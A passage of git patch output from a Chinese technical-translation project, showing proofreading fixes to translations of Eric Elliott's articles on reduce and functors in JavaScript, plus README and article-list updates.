 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
-> * 校对者：
+> * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # Reduce (软件编写) (第五部分) #
 
@@ -10,10 +10,10 @@
 
 Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
-> 注意：这是 “软件编写” 系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
-> [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
+> 注意：这是 “软件编写” 系列文章的第五部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
+> > [<上一篇](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.su6cmn4f7) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
 
-在函数式编程中，**reduce**（也称为：fold，ccumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的事物都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合中元素最优雅的方式。
+在函数式编程中，**reduce**（也称为：fold，accumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的功能都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合（collection）最优雅的方式。
 
 reduce 接受一个 reducer 函数以及一个初始值，最终返回一个累积值。对于 `Array.prototype.reduce()` 来说， 初始列表将由 `this` 指明， 所以列表本身不会作为该函数的参数：
 
@@ -32,9 +32,9 @@ array.reduce(
 
 对于数组的每步迭代，reducer 函数都会被调用，并且向其传入了累积值和当前迭代到的数组元素。reducer 的职责在于以某种方式将当前迭代的元素 “合拢（fold）” 到累加值中。reducer 规定了 “合拢” 的手段和方式，完成了对当前元素的 “合拢” 后，reducer 将返回新的累加值，然后， `.reduce()` 将开始处理数组中的下一个元素。reducer 需要一个初始值才能开始工作，所以绝大多数的 `.reduce()` 实现都需要接收一个初始值作为参数。
 
-在求数组元素和一例中，reducer 函数第一次调用时，`acc` 将会以 `0` 值（该值是传入 `.reduce()` 方法的第二个参数）开始。然后，reducer 返回了 `0` + `2`（`2` 是数组的第一个元素）， 也就是返回了 `2` 作为新的累积值。下一步，`acc = 2, n = 4` 传入了 reducer，reducer返回了 `2 + 4`（`6`）。在最后一步迭代中，`acc = 6, n = 6`, reducer 返回了 `12`。迭代完成，`.reduce（）` 返回了最终的累积值 `12`。
+在数组元素求和一例中，reducer 函数第一次调用时，`acc` 将会以 `0` 值（该值是传入 `.reduce()` 方法的第二个参数）开始。然后，reducer 返回了 `0` + `2`（`2` 是数组的第一个元素）， 也就是返回了 `2` 作为新的累积值。下一步，`acc = 2, n = 4` 传入了 reducer，reducer返回了 `2 + 4`（`6`）。在最后一步迭代中，`acc = 6, n = 6`, reducer 返回了 `12`。迭代完成，`.reduce（）` 返回了最终的累积值 `12`。
 
-在这一例子中，我们传入了一个匿名函数作为 reducer，但是我们也可以抽象出每次求和的过程为一个具名函数，这使得我们代码的复用成都更高：
+在这一例子中，我们传入了一个匿名函数作为 reducer，但是我们也可以抽象出每次求和的过程为一个具名函数，这使得我们代码的复用程度更高：
 
 ```
 const summingReducer = (acc, n) => acc + n;
@@ -55,7 +55,7 @@ const map = (fn, arr) => arr.reduce((acc, item, index, arr) => {
 }, []);
 ```
 
-对于 map 来说，我们的累积值就是一个新的数组对象，该数组对象中的每个元素都由原数组对应元素映射得到。累积数组中新的元素由传入 map 的映射函数（`fn`）所确定：对于当前迭代到的元素 `item`，我们通过 `fn` 计算出新的元素，并将其拼接入累加数组 `arr` 中。
+对于 map 来说，我们的累积值就是一个新的数组对象，该数组对象中的每个元素都由原数组对应元素映射得到。累积数组中新的元素由传入 map 的映射函数（`fn`）所确定：对于当前迭代到的元素 `item`，我们通过 `fn` 计算出新的元素，并将其拼接入累加数组 `acc` 中。
 
 **Filter:**
 
@@ -67,7 +67,7 @@ const filter = (fn, arr) => arr.reduce((newArr, item) => {
 
 filter 的工作方式与 map 类似，只不过原数组的元素只有通过一个真值检测函数（predicate function）才能被送入新的累积数组中。亦即，相较于 map，filter 是**有条件**地选择元素到累积数组中，并且不会改变元素的值。
 
-上面几个例子，你处理的数据都是一些数值序列，你在数值序列上应用指定的函数迭代数据，并将结果合拢到累积值中。大多数应用都因此开始雏形初备，但是你想过这个问题没有：**假如你的序列是函数序列呢？**
+上面几个例子，你处理的数据都是一些数值序列，你在数值序列上应用指定的函数迭代数据，并将结果合拢到累积值中。大多数应用都因此开始雏形初备，但是你想过这个问题：**假如你的序列是函数序列呢？**
 
 **Compose:**
 
@@ -83,7 +83,7 @@ reduce 让我们能抽象出函数组合过程，从而让你也能轻易地实
 f(g(h(x)))
 ```
 
-由于函数组合是由右向左的，我们就要使用上面提到的 `.reduceRight()` 方法来抽象函数组合过程：
+为了使函数组合是由右向左的，我们就要使用上面提到的 `.reduceRight()` 方法来抽象函数组合过程：
 
 ```
 const compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);
@@ -112,7 +112,7 @@ add1ThenDouble(2); // 6
 
 发现问题没有？第一步（加1操作）是 compose 序列上的最后一个元素，所以，`compose` 需要你自底向上地分析流程的执行。
 
-如果我们以由左向右的方式进行 reduce 来创建函数组合，以示区别，我们用 `pipe` 来描述新的组合方式：
+我们使用 reduce 由左向右的常用特性取代由右向左的组合方式，以示区别，我们用 `pipe` 来描述新的组合方式：
 
 ```
 const pipe = (...fns) => x => fns.reduce((v, f) => f(v), x);
@@ -130,7 +130,7 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-你也看到了，在组合中，顺序是非常重要的，如果你调换了 `double` 和 `add1` 的顺序，你将得到截然不同的结果：
+如你所见，在组合中，顺序是非常重要的，如果你调换了 `double` 和 `add1` 的顺序，你将得到截然不同的结果：
 
 ```
 const doubleThenAdd1 = pipe(
@@ -141,11 +141,11 @@ const doubleThenAdd1 = pipe(
 doubleThenAdd1(2); // 5
 ```
 
-之后，我们还会讨论跟多的关于 `compose()` 和 `pipe()` 的细节。现在，你所要知道的只是，`reduce()` 是一个极为强大的工具，因此一定要掌握它。 如果在学习过程中遇到了挫折，也大可不必灰心，很多开发者都花了大量时间在 reduce 的学习上。
+之后，我们还会讨论跟多的关于 `compose()` 和 `pipe()` 的细节。现在，你所要知道的只是，`reduce()` 是一个极为强大的工具，因此一定要掌握它。 如果在学习过程中遇到了挫折，也大可不必灰心，很多开发者都花了大量时间才能掌握 reduce。
 
 ### Redux 中的 reduce ###
 
-你可能听说过 “reducer” 这个术语被用在了 [Redux](https://github.com/reactjs/redux) 的状态更新中。这篇文章撰写之时，对于使用了 React 或者 Angular 进行构建的 web 应用来说，Redux 是最流行的状态管理库/架构（Angualar 中的类 Redux 管理是 ngrx/store ）。
+你可能听说过 “reducer” 这个术语被用于描述 [Redux](https://github.com/reactjs/redux) 的状态更新。这篇文章撰写之时，对于使用了 React 或者 Angular 进行构建的 web 应用来说，Redux 是最流行的状态管理库/架构（Angualar 中的类 Redux 管理是 ngrx/store ）。
 
 Redux 使用了 reducer 函数来管理应用状态。一个 Redux 风格的 reducer 接收一个当前应用状态 `state` 和 和交互对象 `action` 作为参数（译注：当前状态就相当于累积值，而 action 就相当于目前处理的元素），处理完成后，返回一个新的应用状态：
 
@@ -177,8 +177,6 @@ const summingReducer = (state = 0, action = {}) => {
 
 关于 Redux 的一个非常美妙的事儿就是，其 reducer 都是标准的 reducer （译注：即接收 `accumulator` 和 `current` 两个参数的 reducer ），这意味着你将 Redux 中的 reducer 插入到任何现有的 `reduce()` 实现中去，比如最常用的 `[].reduce()`。以此为例，我们可以创建一个 action 对象的数组，并对其进行 reduce 操作，传入 `reduce()` 的将是我们定义好的 `summingReducer`，据此，我们获得一个状态快照。之后，一旦对 Redux 中的状态树（store）分派了同样的 action 序列，那么一定能俘获到相同的状态快照：
 
-The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`.
-
 ```
 const actions = [
   { type: 'ADD_VALUE', payload: { value: 1 } },
@@ -193,7 +191,7 @@ actions.reduce(summingReducer, 0); // 3
 
 ### 总结 ###
 
-现在，你应该可以瞥见 recude 的强大甚至是无所不能了。它不只能帮助我们定义出 map 或者 filter，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。
+现在，你应该可以瞥见 reduce 的强大甚至是无所不能了。虽然，理解 reduce 要比理解 map 或者 filter 难一些，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。
 
 [**下一篇: Functors（函子） & Categories（范畴） >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 

From e49efbdbbc20b44527faaab133597a74a97b4f7a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Sat, 15 Apr 2017 23:56:06 +0800
Subject: [PATCH 173/638] fix

---
 TODO/functors-categories.md | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/functors-categories.md b/TODO/functors-categories.md
index 491a023bc29..085c93eaabc 100644
--- a/TODO/functors-categories.md
+++ b/TODO/functors-categories.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
-> * 校对者：
+> * 校对者：[avocadowang](https://github.com/avocadowang) [Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # Functor 与 Category （软件编写）（第六部分）#
 
@@ -10,16 +10,16 @@
 
 Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
-> 注意：这是 “软件编写” 系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
+> 注意：这是 “软件编写” 系列文章的第六部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
 > [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
 
-所谓 **functor（函子）**，是能够对其进行 map 操作的对象。换言之，**functor** 可以被认为是一个容器，该容器容纳了一个值，并且暴露了一个接口（译注：即 map 接口），该接口使得外界的函数能够操纵容器中的值。所以当你见到 **functor**，别被其来自范畴学的名字唬住，简单把他当做个 *“mappable”* 对象就行。
+所谓 **functor（函子）**，是能够对其进行 map 操作的对象。换言之，**functor** 可以被认为是一个容器，该容器容纳了一个值，并且暴露了一个接口（译注：即 map 接口），该接口使得外界的函数能够获取容器中的值。所以当你见到 **functor**，别被其来自范畴学的名字唬住，简单把他当做个 *“mappable”* 对象就行。
 
 **“functor”** 一词源于范畴学。在范畴学中，一个 functor 代表了两个范畴（category）间的映射。简单说来，一个 **范畴** 是一系列事物的分组，这里的 “事物” 可以指代一切的值。对于编码来说，一个 functor 通常代表了一个具有 `.map()` 方法的对象，该方法能够将某一集合映射到另一集合。
 
 上文说到，一个 functor 可以被看做是一个容器，比如我们将其看做是一个盒子，盒子里面容纳了一些事物，或者空空如也，最重要的是，盒子暴露了一个 mapping（映射）接口。在 JavaScript 中，数组对象就是 functor 的绝佳例子（译注：`[1,2,3].map(x => x + 1)`），但是，其他类型的对象，只要能够被 map 操作，也可以算作是 functor，这些对象包括了单值对象（single valued-objects），流（streams），树（trees），对象（objects）等等。
 
-对于如数组和流这样的集合（collections）来说，`.map()` 方法指的是，在集合上进行迭代操作，在此过程中，应用一个预先指定的函数对每次迭代到的值进行处理。但是，不是所有的 functor 都可以被迭代。
+对于如数组和流等其他这样的集合（collections）来说，`.map()` 方法指的是，在集合上进行迭代操作，在此过程中，应用一个预先指定的函数对每次迭代到的值进行处理。但是，不是所有的 functor 都可以被迭代。
 
 在 JavaScript 中，数组和 Promise 对象都是 **functor**（Promise 对象虽然没有 `.map()` 方法，但其 `.then()` 方法也遵从 functor 的定律），除此之外，非常多的第三方库也能够将各种各样的一般事物给转换成 functor（译注：大名鼎鼎的 [Bluebird](https://github.com/petkaantonov/bluebird/) 就能将异步过程封装为 Promise functor）。
 
@@ -29,7 +29,7 @@ Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：
 fmap :: (a -> b) -> f a -> f b
 ```
 
-fmap 接受一个函数参数，该函数接受一个参数 `a`，并返回一个 `b`，最终，fmap 完成了从 `f a` 到 `f b` 的映射。`f a` 及 `f b` 可以被读作 “一个 `a` 的 functor” 和“一个 `b` 的 functor”，亦即 `f a` 这个盒子容纳了 `a`，`f b` 这个盒子容纳了 `b`。
+fmap 接受一个函数参数，该函数接受一个参数 `a`，并返回一个 `b`，最终，fmap 完成了从 `f a` 到 `f b` 的映射。`f a` 及 `f b` 可以被读作 “一个 `a` 的 functor” 和“一个 `b` 的 functor”，亦即 `f a` 这个容器容纳了 `a`，`f b` 这个容器容纳了 `b`。
 
 使用一个 functor 是非常简单的，仅需要调用 `map()` 方法即可：
 
@@ -49,7 +49,7 @@ f.map(double); // [2, 4, 6]
 
 ### 同一性 ###
 
-如果你将函数（`x => x`）传入 `f.map()`，并且，`f` 是任意的一个 functor，那么 `f.map()` 执行结果就等于 `f`。
+如果你将函数（`x => x`）传入 `f.map()`，对任意的一个 functor `f`，`f.map(x => x) == f`。
 
 ```
 const f = [1, 2, 3];
@@ -69,7 +69,7 @@ functor 还必须具有组合性：`F.map(x => f(g(x))) == F.map(g).map(f)`
 - 对于任何被箭头相连接的对象，如 `a -> b -> c`，必须存在一个 `a -> c ` 的组合。
 - 所有的箭头表示都代表了组合（即便这个对象间的组合只是一个同一（identity）箭头：`a->c`）。所有的对象都存在一个同一箭头，即存在同一态射（`a -> a`）。
 
-如果你有一个函数 `g`，该函数接受一个参数 `a` 并且返回一个 `b`，另一个函数 `f` 接受一个 `b` 并返回一个 `c`。那么，必然存在一个函数 `h`，其代表了 `f` 及 `g` 的组合。而 `a -> c` 的组合，就是 `f ∘ g`（读作`f` **紧接着** `g`），进而，也就知 `h(x)=f(g(x))`。函数组合的方向是由右向左的，这也就是就是 `f ∘ g` 常被叫做 `f` **紧接着** `g` 的原因。
+如果你有一个函数 `g`，该函数接受一个参数 `a` 并且返回一个 `b`，另一个函数 `f` 接受一个 `b` 并返回一个 `c`。那么，必然存在一个函数 `h`，其代表了 `f` 及 `g` 的组合。而 `a -> c` 的组合，就是 `f ∘ g`（读作`f` **紧接着** `g`），进而，也就是 `h(x) = f(g(x))`。函数组合的方向是由右向左的，这也就是就是 `f ∘ g` 常被叫做 `f` **紧接着** `g` 的原因。
 
 函数组合是满足结合律的，这就意味着你在组合多个函数时，免去了添加括号的烦恼：
 
@@ -90,7 +90,7 @@ const F = [1, 2, 3];
 ```
 F.map(x => f(g(x)));
 
-// 等效于。。。
+// 等效于......
 
 F.map(g).map(f);
 ```
@@ -152,7 +152,7 @@ r2.map(trace); // 5
 
 现在，你可以对存在该 functor 中的任何数据类型进行 map 操作，就像你对一个数组进行 map 时那样。这简直太美妙了。
 
-上面的代码片展示了 JavaScript 中 functor 的简单实现，但是其缺失了 JavaScript 中常见数据类型的一些特性。现在我们逐个添加它们。首先，我们会想到，假如能够直接通过 `+` 操作符操作我们的 functor 是不是太好了，就像我们在数值或者字符串对象间使用 `+` 号那样。
+上面的代码片展示了 JavaScript 中 functor 的简单实现，但是其缺失了 JavaScript 中常见数据类型的一些特性。现在我们逐个添加它们。首先，我们会想到，假如能够直接通过 + 操作符操作我们的 functor 是不是很好，就像我们在数值或者字符串对象间使用 `+` 号那样。
 
 为了使该想法变现，我们首先要为该 functor 对象添加 `.valueOf()` 方法  —— 这可被看作是提供了一个便捷的渠道来将值从 functor 盒子中取出。
 
@@ -288,7 +288,7 @@ Object.assign(Identity, {
 
 ### 为什么要使用 functor? ###
 
-说 functor 多么多么好是不无理由的。最重要的一点是，functor 作为一种抽象，能让开发者以同一种方式实现大量有用的，能够操纵任何数据类型的事物。例如，如果你想要在 functor 中值不为 `null` 或者不为 `undefined` 前提下，构建一串地链式操作：
+说 functor 多么多么好不是没有理由的。最重要的一点是，functor 作为一种抽象，能让开发者以同一种方式实现大量有用的，能够操纵任何数据类型的事物。例如，如果你想要在 functor 中值不为 `null` 或者不为 `undefined` 前提下，构建一串地链式操作：
 
 ```
 // 创建一个 predicte
@@ -347,7 +347,7 @@ functor 是能够对其进行 map 操作的对象。更进一步地，一个 fun
 
 总之，functor 是一个极佳的高阶抽象，能然你创建各种各样的通用函数来操作任何的数据类型。
 
-**未完待续。。。**
+**未完待续……**
 
 ### 接下来 ###
 

From 53acf3266fad8d0d3bccb2f34d13084bfbf7c3f0 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sun, 16 Apr 2017 00:04:44 +0800
Subject: [PATCH 174/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E8=B6=85=E8=B6=8A?=
 =?UTF-8?q?=E6=B5=8F=E8=A7=88=E5=99=A8=EF=BC=9A=E4=BB=8E=20web=20=E5=BA=94?=
 =?UTF-8?q?=E7=94=A8=E5=88=B0=E6=A1=8C=E9=9D=A2=E5=BA=94=E7=94=A8=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index b8e4a9f3caa..adc5fa283d8 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [458](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [459](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
-* [CSS很棒，只是真的太难了](https://juejin.im/entry/58eae24a61ff4b0061a6a102?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index e646fb5aeff..91861409a93 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
 * [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)

From 7d32d7b756c2da792c12d859c805d8a1a1a5a8b6 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sun, 16 Apr 2017 00:19:12 +0800
Subject: [PATCH 175/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E4=BD=BF=E7=94=A8?=
 =?UTF-8?q?=E5=BC=80=E5=8F=91=E8=80=85=E5=B7=A5=E5=85=B7=E5=9C=A8=E6=B5=8F?=
 =?UTF-8?q?=E8=A7=88=E5=99=A8=E4=B8=AD=E8=B0=83=E6=95=B4=E8=AE=BE=E8=AE=A1?=
 =?UTF-8?q?=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index adc5fa283d8..aa1f765be2f 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [459](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [460](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)
-* [写给“老派” Web 开发者的“现代” JavaScript 指南](https://juejin.im/post/58ebab0c8d6d81006191376f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([SunCafe](http://suncafe.cc/) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 91861409a93..23a71497d24 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [webpack 拾翠：充分利用 CommonsChunkPlugin()](https://juejin.im/post/58ec4e3f5c497d0062c470bf?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([reid3290](https://github.com/reid3290) 翻译)

From 9c9b787b7bb9d6c8e15982e16590e48f863d9032 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Sun, 16 Apr 2017 00:32:54 +0800
Subject: [PATCH 176/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=85=B3=E4=BA=8E?=
 =?UTF-8?q?=E5=9C=A8=20Node.js=20=E4=B8=AD=E5=BC=95=E7=94=A8=E6=A8=A1?=
 =?UTF-8?q?=E5=9D=97=EF=BC=8C=E7=9F=A5=E9=81=93=E8=BF=99=E4=BA=9B=E5=B0=B1?=
 =?UTF-8?q?=E5=A4=9F=E4=BA=86=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 3 ++-
 backend.md | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index aa1f765be2f..75bf0443979 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [460](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [461](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,6 +55,7 @@
 
 ## 后端
 
+* [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [如何在 ChromeOS 下用 Go 搭建 Web 服务](https://juejin.im/post/58d9e1711b69e6006bc38b1a/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen) 翻译)
diff --git a/backend.md b/backend.md
index 909e6435309..be23321560b 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
